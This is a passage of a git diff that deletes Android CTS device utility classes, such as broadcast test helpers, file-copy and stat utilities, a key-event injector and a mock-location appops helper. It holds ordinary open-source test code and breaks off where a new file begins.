-        final ByteArrayOutputStream bos = new ByteArrayOutputStream();
-        bmp.compress(CompressFormat.PNG, 0 /*ignored for PNG*/, bos);
-        byte[] bitmapData = bos.toByteArray();
-        return new ByteArrayInputStream(bitmapData);
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/BroadcastTestBase.java b/libs/deviceutil/src/android/cts/util/BroadcastTestBase.java
deleted file mode 100644
index c4da8f3..0000000
--- a/libs/deviceutil/src/android/cts/util/BroadcastTestBase.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.cts.util.BroadcastTestStartActivity;
-import android.cts.util.BroadcastUtils;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class BroadcastTestBase extends ActivityInstrumentationTestCase2<
-                                       BroadcastTestStartActivity> {
-    static final String TAG = "BroadcastTestBase";
-    protected static final int TIMEOUT_MS = 20 * 1000;
-
-    protected Context mContext;
-    protected Bundle mResultExtras;
-    private CountDownLatch mLatch;
-    protected ActivityDoneReceiver mActivityDoneReceiver = null;
-    private BroadcastTestStartActivity mActivity;
-    private BroadcastUtils.TestcaseType mTestCaseType;
-    protected boolean mHasFeature;
-
-    public BroadcastTestBase() {
-        super(BroadcastTestStartActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mHasFeature = false;
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mHasFeature && mActivityDoneReceiver != null) {
-            try {
-                mContext.unregisterReceiver(mActivityDoneReceiver);
-            } catch (IllegalArgumentException e) {
-                // This exception is thrown if mActivityDoneReceiver in
-                // the above call to unregisterReceiver is never registered.
-                // If so, no harm done by ignoring this exception.
-            }
-            mActivityDoneReceiver = null;
-        }
-        super.tearDown();
-    }
-
-    protected boolean isIntentSupported(String intentStr) {
-        Intent intent = new Intent(intentStr);
-        final PackageManager manager = mContext.getPackageManager();
-        assertNotNull(manager);
-        if (manager.resolveActivity(intent, 0) == null) {
-            Log.i(TAG, "No Activity found for the intent: " + intentStr);
-            return false;
-        }
-        return true;
-    }
-
-    protected void startTestActivity(String intentSuffix) {
-        Intent intent = new Intent();
-        intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + intentSuffix);
-        intent.setComponent(new ComponentName(getInstrumentation().getContext(),
-                BroadcastTestStartActivity.class));
-        setActivityIntent(intent);
-        mActivity = getActivity();
-    }
-
-    protected void registerBroadcastReceiver(BroadcastUtils.TestcaseType testCaseType) throws Exception {
-        mTestCaseType = testCaseType;
-        mLatch = new CountDownLatch(1);
-        mActivityDoneReceiver = new ActivityDoneReceiver();
-        mContext.registerReceiver(mActivityDoneReceiver,
-                new IntentFilter(BroadcastUtils.BROADCAST_INTENT + testCaseType.toString()));
-    }
-
-    protected boolean startTestAndWaitForBroadcast(BroadcastUtils.TestcaseType testCaseType,
-                                                   String pkg, String cls) throws Exception {
-        Log.i(TAG, "Begin Testing: " + testCaseType);
-        registerBroadcastReceiver(testCaseType);
-        mActivity.startTest(testCaseType.toString(), pkg, cls);
-        if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-            fail("Failed to receive broadcast in " + TIMEOUT_MS + "msec");
-            return false;
-        }
-        return true;
-    }
-
-    class ActivityDoneReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (intent.getAction().equals(
-                    BroadcastUtils.BROADCAST_INTENT +
-                        BroadcastTestBase.this.mTestCaseType.toString())) {
-                Bundle extras = intent.getExtras();
-                Log.i(TAG, "received_broadcast for " + BroadcastUtils.toBundleString(extras));
-                BroadcastTestBase.this.mResultExtras = extras;
-                mLatch.countDown();
-            }
-        }
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/BroadcastTestStartActivity.java b/libs/deviceutil/src/android/cts/util/BroadcastTestStartActivity.java
deleted file mode 100644
index fda6786..0000000
--- a/libs/deviceutil/src/android/cts/util/BroadcastTestStartActivity.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.content.ComponentName;
-import android.os.Bundle;
-import android.util.Log;
-
-import android.cts.util.BroadcastUtils;
-
-public class BroadcastTestStartActivity extends Activity {
-    static final String TAG = "BroadcastTestStartActivity";
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, " in onCreate");
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        Log.i(TAG, " in onResume");
-    }
-
-    void startTest(String testCaseType, String pkg, String cls) {
-        Intent intent = new Intent();
-        Log.i(TAG, "received_testcasetype = " + testCaseType);
-        intent.putExtra(BroadcastUtils.TESTCASE_TYPE, testCaseType);
-        intent.setAction("android.intent.action.VIMAIN_" + testCaseType);
-        intent.setComponent(new ComponentName(pkg, cls));
-        startActivity(intent);
-    }
-
-    @Override
-    protected void onPause() {
-        Log.i(TAG, " in onPause");
-        super.onPause();
-    }
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        Log.i(TAG, " in onStart");
-    }
-
-    @Override
-    protected void onRestart() {
-        super.onRestart();
-        Log.i(TAG, " in onRestart");
-    }
-
-    @Override
-    protected void onStop() {
-        Log.i(TAG, " in onStop");
-        super.onStop();
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.i(TAG, " in onDestroy");
-        super.onDestroy();
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/BroadcastUtils.java b/libs/deviceutil/src/android/cts/util/BroadcastUtils.java
deleted file mode 100644
index 1392df2..0000000
--- a/libs/deviceutil/src/android/cts/util/BroadcastUtils.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.util;
-
-import android.os.Bundle;
-
-public class BroadcastUtils {
-    public enum TestcaseType {
-        ZEN_MODE_ON,
-        ZEN_MODE_OFF,
-        AIRPLANE_MODE_ON,
-        AIRPLANE_MODE_OFF,
-        BATTERYSAVER_MODE_ON,
-        BATTERYSAVER_MODE_OFF,
-        THEATER_MODE_ON,
-        THEATER_MODE_OFF
-    }
-    public static final String TESTCASE_TYPE = "Testcase_type";
-    public static final String BROADCAST_INTENT =
-            "android.intent.action.FROM_UTIL_CTS_TEST_";
-    public static final int NUM_MINUTES_FOR_ZENMODE = 10;
-
-    public static final String toBundleString(Bundle bundle) {
-        if (bundle == null) {
-            return "*** Bundle is null ****";
-        }
-        StringBuilder buf = new StringBuilder();
-        if (bundle != null) {
-            buf.append("extras: ");
-            for (String s : bundle.keySet()) {
-                buf.append("(" + s + " = " + bundle.get(s) + "), ");
-            }
-        }
-        return buf.toString();
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/CTSResult.java b/libs/deviceutil/src/android/cts/util/CTSResult.java
deleted file mode 100644
index c780f57..0000000
--- a/libs/deviceutil/src/android/cts/util/CTSResult.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-package android.cts.util;
-
-public interface CTSResult {
-    public static final int RESULT_OK = 1;
-    public static final int RESULT_FAIL = 2;
-    public void setResult(int resultCode);
-}
diff --git a/libs/deviceutil/src/android/cts/util/CtsAndroidTestCase.java b/libs/deviceutil/src/android/cts/util/CtsAndroidTestCase.java
deleted file mode 100644
index 7cf0f7e..0000000
--- a/libs/deviceutil/src/android/cts/util/CtsAndroidTestCase.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package android.cts.util;
-
-import android.content.Context;
-import android.test.ActivityInstrumentationTestCase2;
-
-/**
- *  This class emulates AndroidTestCase, but internally it is ActivityInstrumentationTestCase2
- *  to access Instrumentation.
- *  DummyActivity is not supposed to be accessed.
- */
-public class CtsAndroidTestCase extends ActivityInstrumentationTestCase2<DummyActivity> {
-    public CtsAndroidTestCase() {
-        super(DummyActivity.class);
-    }
-
-    public Context getContext() {
-        return getInstrumentation().getContext();
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/DummyActivity.java b/libs/deviceutil/src/android/cts/util/DummyActivity.java
deleted file mode 100644
index 16e3507..0000000
--- a/libs/deviceutil/src/android/cts/util/DummyActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package android.cts.util;
-
-import android.app.Activity;
-
-public class DummyActivity extends Activity {
-
-}
diff --git a/libs/deviceutil/src/android/cts/util/EvaluateJsResultPollingCheck.java b/libs/deviceutil/src/android/cts/util/EvaluateJsResultPollingCheck.java
deleted file mode 100644
index 17d6a73..0000000
--- a/libs/deviceutil/src/android/cts/util/EvaluateJsResultPollingCheck.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import android.webkit.ValueCallback;
-
-public class EvaluateJsResultPollingCheck  extends PollingCheck
-        implements ValueCallback<String> {
-    private String mActualResult;
-    private String mExpectedResult;
-
-    public EvaluateJsResultPollingCheck(String expected) {
-        mExpectedResult = expected;
-    }
-
-    @Override
-    public synchronized boolean check() {
-        return mExpectedResult.equals(mActualResult);
-    }
-
-    @Override
-    public synchronized void onReceiveValue(String result) {
-        mActualResult = result;
-    }
-}
\ No newline at end of file
diff --git a/libs/deviceutil/src/android/cts/util/FileCopyHelper.java b/libs/deviceutil/src/android/cts/util/FileCopyHelper.java
deleted file mode 100644
index e84e920..0000000
--- a/libs/deviceutil/src/android/cts/util/FileCopyHelper.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import android.content.Context;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-
-/**
- * The Class FileCopyHelper is used to copy files from resources to the
- * application directory and responsible for deleting the files.
- *
- * @see MediaStore_VideoTest
- * @see MediaStore_Images_MediaTest
- * @see MediaStore_Images_ThumbnailsTest
- */
-public class FileCopyHelper {
-    /** The context. */
-    private Context mContext;
-
-    /** The files added. */
-    private ArrayList<String> mFilesList;
-
-    /**
-     * Instantiates a new file copy helper.
-     *
-     * @param context the context
-     */
-    public FileCopyHelper(Context context) {
-        mContext = context;
-        mFilesList = new ArrayList<String>();
-    }
-
-    /**
-     * Copy the file from the resources with a filename .
-     *
-     * @param resId the res id
-     * @param fileName the file name
-     *
-     * @return the absolute path of the destination file
-     * @throws IOException
-     */
-    public String copy(int resId, String fileName) throws IOException {
-        InputStream source = mContext.getResources().openRawResource(resId);
-        OutputStream target = mContext.openFileOutput(fileName, Context.MODE_WORLD_READABLE);
-        copyFile(source, target);
-        mFilesList.add(fileName);
-        return mContext.getFileStreamPath(fileName).getAbsolutePath();
-    }
-
-    public void copyToExternalStorage(int resId, File path) throws IOException {
-        InputStream source = mContext.getResources().openRawResource(resId);
-        OutputStream target = new FileOutputStream(path);
-        copyFile(source, target);
-    }
-
-    private void copyFile(InputStream source, OutputStream target) throws IOException {
-        try {
-            byte[] buffer = new byte[1024];
-            for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
-                target.write(buffer, 0, len);
-            }
-        } finally {
-            if (source != null) {
-                source.close();
-            }
-            if (target != null) {
-                target.close();
-            }
-        }
-    }
-
-    /**
-     * Delete all the files copied by the helper.
-     */
-    public void clear(){
-        for (String path : mFilesList) {
-            mContext.deleteFile(path);
-        }
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/FileUtils.java b/libs/deviceutil/src/android/cts/util/FileUtils.java
deleted file mode 100644
index 055f2d6..0000000
--- a/libs/deviceutil/src/android/cts/util/FileUtils.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-
-/** Bits and pieces copied from hidden API of android.os.FileUtils. */
-public class FileUtils {
-
-    public static final int S_IFMT  = 0170000;
-    public static final int S_IFSOCK = 0140000;
-    public static final int S_IFLNK = 0120000;
-    public static final int S_IFREG = 0100000;
-    public static final int S_IFBLK = 0060000;
-    public static final int S_IFDIR = 0040000;
-    public static final int S_IFCHR = 0020000;
-    public static final int S_IFIFO = 0010000;
-
-    public static final int S_ISUID = 0004000;
-    public static final int S_ISGID = 0002000;
-    public static final int S_ISVTX = 0001000;
-
-    public static final int S_IRWXU = 00700;
-    public static final int S_IRUSR = 00400;
-    public static final int S_IWUSR = 00200;
-    public static final int S_IXUSR = 00100;
-
-    public static final int S_IRWXG = 00070;
-    public static final int S_IRGRP = 00040;
-    public static final int S_IWGRP = 00020;
-    public static final int S_IXGRP = 00010;
-
-    public static final int S_IRWXO = 00007;
-    public static final int S_IROTH = 00004;
-    public static final int S_IWOTH = 00002;
-    public static final int S_IXOTH = 00001;
-
-    static {
-        System.loadLibrary("cts_jni");
-    }
-
-    public static class FileStatus {
-
-        public int dev;
-        public int ino;
-        public int mode;
-        public int nlink;
-        public int uid;
-        public int gid;
-        public int rdev;
-        public long size;
-        public int blksize;
-        public long blocks;
-        public long atime;
-        public long mtime;
-        public long ctime;
-
-        public boolean hasModeFlag(int flag) {
-            if (((S_IRWXU | S_IRWXG | S_IRWXO) & flag) != flag) {
-                throw new IllegalArgumentException("Inappropriate flag " + flag);
-            }
-            return (mode & flag) == flag;
-        }
-
-        public boolean isOfType(int type) {
-            if ((type & S_IFMT) != type) {
-                throw new IllegalArgumentException("Unknown type " + type);
-            }
-            return (mode & S_IFMT) == type;
-        }
-    }
-
-    /**
-     * @param path of the file to stat
-     * @param status object to set the fields on
-     * @param statLinks or don't stat links (lstat vs stat)
-     * @return whether or not we were able to stat the file
-     */
-    public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
-
-    public native static String getUserName(int uid);
-
-    public native static String getGroupName(int gid);
-
-    public native static int setPermissions(String file, int mode);
-
-    /**
-     * Copy data from a source stream to destFile.
-     * Return true if succeed, return false if failed.
-     */
-    public static boolean copyToFile(InputStream inputStream, File destFile) {
-        try {
-            if (destFile.exists()) {
-                destFile.delete();
-            }
-            FileOutputStream out = new FileOutputStream(destFile);
-            try {
-                byte[] buffer = new byte[4096];
-                int bytesRead;
-                while ((bytesRead = inputStream.read(buffer)) >= 0) {
-                    out.write(buffer, 0, bytesRead);
-                }
-            } finally {
-                out.flush();
-                try {
-                    out.getFD().sync();
-                } catch (IOException e) {
-                }
-                out.close();
-            }
-            return true;
-        } catch (IOException e) {
-            return false;
-        }
-    }
-
-    public static void createFile(File file, int numBytes) throws IOException {
-        File parentFile = file.getParentFile();
-        if (parentFile != null) {
-            parentFile.mkdirs();
-        }
-        byte[] buffer = new byte[numBytes];
-        FileOutputStream output = new FileOutputStream(file);
-        try {
-            output.write(buffer);
-        } finally {
-            output.close();
-        }
-    }
-
-    public static byte[] readInputStreamFully(InputStream is) {
-        ByteArrayOutputStream os = new ByteArrayOutputStream();
-        byte[] buffer = new byte[32768];
-        int count;
-        try {
-            while ((count = is.read(buffer)) != -1) {
-                os.write(buffer, 0, count);
-            }
-            is.close();
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-        return os.toByteArray();
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/IBinderParcelable.java b/libs/deviceutil/src/android/cts/util/IBinderParcelable.java
deleted file mode 100644
index c80716e..0000000
--- a/libs/deviceutil/src/android/cts/util/IBinderParcelable.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.util;
-
-import android.os.IBinder;
-import android.os.Parcel;
-import android.os.Parcelable;
-
-public class IBinderParcelable implements Parcelable {
-    public IBinder binder;
-
-    public IBinderParcelable(IBinder source) {
-        binder = source;
-    }
-
-    public int describeContents() {
-        return 0;
-    }
-
-    public void writeToParcel(Parcel dest, int flags) {
-        dest.writeStrongBinder(binder);
-    }
-
-    public static final Parcelable.Creator<IBinderParcelable>
-        CREATOR = new Parcelable.Creator<IBinderParcelable>() {
-
-        public IBinderParcelable createFromParcel(Parcel source) {
-            return new IBinderParcelable(source);
-        }
-
-        public IBinderParcelable[] newArray(int size) {
-            return new IBinderParcelable[size];
-        }
-    };
-
-    private IBinderParcelable(Parcel source) {
-        binder = source.readStrongBinder();
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/KeyEventUtil.java b/libs/deviceutil/src/android/cts/util/KeyEventUtil.java
deleted file mode 100644
index b6d09d8..0000000
--- a/libs/deviceutil/src/android/cts/util/KeyEventUtil.java
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import android.app.Instrumentation;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.util.Log;
-import android.view.InputDevice;
-import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.inputmethod.InputMethodManager;
-
-import java.lang.reflect.Field;
-
-/**
- * Utility class to send KeyEvents to TextView bypassing the IME. The code is similar to functions
- * in {@link Instrumentation} and {@link android.test.InstrumentationTestCase} classes. It uses
- * {@link InputMethodManager#dispatchKeyEventFromInputMethod(View, KeyEvent)} to send the events.
- * After sending the events waits for idle.
- */
-public class KeyEventUtil {
-    private final Instrumentation mInstrumentation;
-
-    public KeyEventUtil(Instrumentation instrumentation) {
-        this.mInstrumentation = instrumentation;
-    }
-
-    /**
-     * Sends the key events corresponding to the text to the app being instrumented.
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param text The text to be sent. Null value returns immediately.
-     */
-    public final void sendString(final View targetView, final String text) {
-        if (text == null) {
-            return;
-        }
-
-        KeyEvent[] events = getKeyEvents(text);
-
-        if (events != null) {
-            for (int i = 0; i < events.length; i++) {
-                // We have to change the time of an event before injecting it because
-                // all KeyEvents returned by KeyCharacterMap.getEvents() have the same
-                // time stamp and the system rejects too old events. Hence, it is
-                // possible for an event to become stale before it is injected if it
-                // takes too long to inject the preceding ones.
-                sendKey(targetView, KeyEvent.changeTimeRepeat(events[i], SystemClock.uptimeMillis(),
-                        0));
-            }
-        }
-    }
-
-    /**
-     * Sends a series of key events through instrumentation. For instance:
-     * sendKeys(view, KEYCODE_DPAD_LEFT, KEYCODE_DPAD_CENTER).
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param keys The series of key codes.
-     */
-    public final void sendKeys(final View targetView, final int...keys) {
-        final int count = keys.length;
-
-        for (int i = 0; i < count; i++) {
-            try {
-                sendKeyDownUp(targetView, keys[i]);
-            } catch (SecurityException e) {
-                // Ignore security exceptions that are now thrown
-                // when trying to send to another app, to retain
-                // compatibility with existing tests.
-            }
-        }
-    }
-
-    /**
-     * Sends a series of key events through instrumentation. The sequence of keys is a string
-     * containing the key names as specified in KeyEvent, without the KEYCODE_ prefix. For
-     * instance: sendKeys(view, "DPAD_LEFT A B C DPAD_CENTER"). Each key can be repeated by using
-     * the N* prefix. For instance, to send two KEYCODE_DPAD_LEFT, use the following:
-     * sendKeys(view, "2*DPAD_LEFT").
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param keysSequence The sequence of keys.
-     */
-    public final void sendKeys(final View targetView, final String keysSequence) {
-        final String[] keys = keysSequence.split(" ");
-        final int count = keys.length;
-
-        for (int i = 0; i < count; i++) {
-            String key = keys[i];
-            int repeater = key.indexOf('*');
-
-            int keyCount;
-            try {
-                keyCount = repeater == -1 ? 1 : Integer.parseInt(key.substring(0, repeater));
-            } catch (NumberFormatException e) {
-                Log.w("ActivityTestCase", "Invalid repeat count: " + key);
-                continue;
-            }
-
-            if (repeater != -1) {
-                key = key.substring(repeater + 1);
-            }
-
-            for (int j = 0; j < keyCount; j++) {
-                try {
-                    final Field keyCodeField = KeyEvent.class.getField("KEYCODE_" + key);
-                    final int keyCode = keyCodeField.getInt(null);
-                    try {
-                        sendKeyDownUp(targetView, keyCode);
-                    } catch (SecurityException e) {
-                        // Ignore security exceptions that are now thrown
-                        // when trying to send to another app, to retain
-                        // compatibility with existing tests.
-                    }
-                } catch (NoSuchFieldException e) {
-                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
-                    break;
-                } catch (IllegalAccessException e) {
-                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
-                    break;
-                }
-            }
-        }
-    }
-
-    /**
-     * Sends an up and down key events.
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param key The integer keycode for the event to be send.
-     */
-    public final void sendKeyDownUp(final View targetView, final int key) {
-        sendKey(targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key));
-        sendKey(targetView, new KeyEvent(KeyEvent.ACTION_UP, key));
-    }
-
-    /**
-     * Sends a key event.
-     *
-     * @param targetView View to find the ViewRootImpl and dispatch.
-     * @param event KeyEvent to be send.
-     */
-    public final void sendKey(final View targetView, final KeyEvent event) {
-        validateNotAppThread();
-
-        long downTime = event.getDownTime();
-        long eventTime = event.getEventTime();
-        int action = event.getAction();
-        int code = event.getKeyCode();
-        int repeatCount = event.getRepeatCount();
-        int metaState = event.getMetaState();
-        int deviceId = event.getDeviceId();
-        int scancode = event.getScanCode();
-        int source = event.getSource();
-        int flags = event.getFlags();
-        if (source == InputDevice.SOURCE_UNKNOWN) {
-            source = InputDevice.SOURCE_KEYBOARD;
-        }
-        if (eventTime == 0) {
-            eventTime = SystemClock.uptimeMillis();
-        }
-        if (downTime == 0) {
-            downTime = eventTime;
-        }
-
-        final KeyEvent newEvent = new KeyEvent(downTime, eventTime, action, code, repeatCount,
-                metaState, deviceId, scancode, flags, source);
-
-        InputMethodManager imm = targetView.getContext().getSystemService(InputMethodManager.class);
-        imm.dispatchKeyEventFromInputMethod(null, newEvent);
-        mInstrumentation.waitForIdleSync();
-    }
-
-    private KeyEvent[] getKeyEvents(final String text) {
-        KeyCharacterMap keyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
-        return keyCharacterMap.getEvents(text.toCharArray());
-    }
-
-    private void validateNotAppThread() {
-        if (Looper.myLooper() == Looper.getMainLooper()) {
-            throw new RuntimeException(
-                    "This method can not be called from the main application thread");
-        }
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/LocationUtils.java b/libs/deviceutil/src/android/cts/util/LocationUtils.java
deleted file mode 100644
index 1f7af86..0000000
--- a/libs/deviceutil/src/android/cts/util/LocationUtils.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.util;
-
-import android.app.Instrumentation;
-import android.util.Log;
-
-import java.io.IOException;
-
-public class LocationUtils {
-    private static String TAG = "LocationUtils";
-
-    public static void registerMockLocationProvider(Instrumentation instrumentation,
-            boolean enable) {
-        StringBuilder command = new StringBuilder();
-        command.append("appops set ");
-        command.append(instrumentation.getContext().getPackageName());
-        command.append(" android:mock_location ");
-        command.append(enable ? "allow" : "deny");
-        try {
-            SystemUtil.runShellCommand(instrumentation, command.toString());
-        } catch (IOException e) {
-            Log.e(TAG, "Error managing mock location app. Command: " + command, e);
-        }
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/MediaPerfUtils.java b/libs/deviceutil/src/android/cts/util/MediaPerfUtils.java
deleted file mode 100644
index decbd4c..0000000
--- a/libs/deviceutil/src/android/cts/util/MediaPerfUtils.java
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- * Copyright 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.util;
-
-import android.media.MediaFormat;
-import android.util.Range;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.util.Arrays;
-import android.util.Log;
-
-public class MediaPerfUtils {
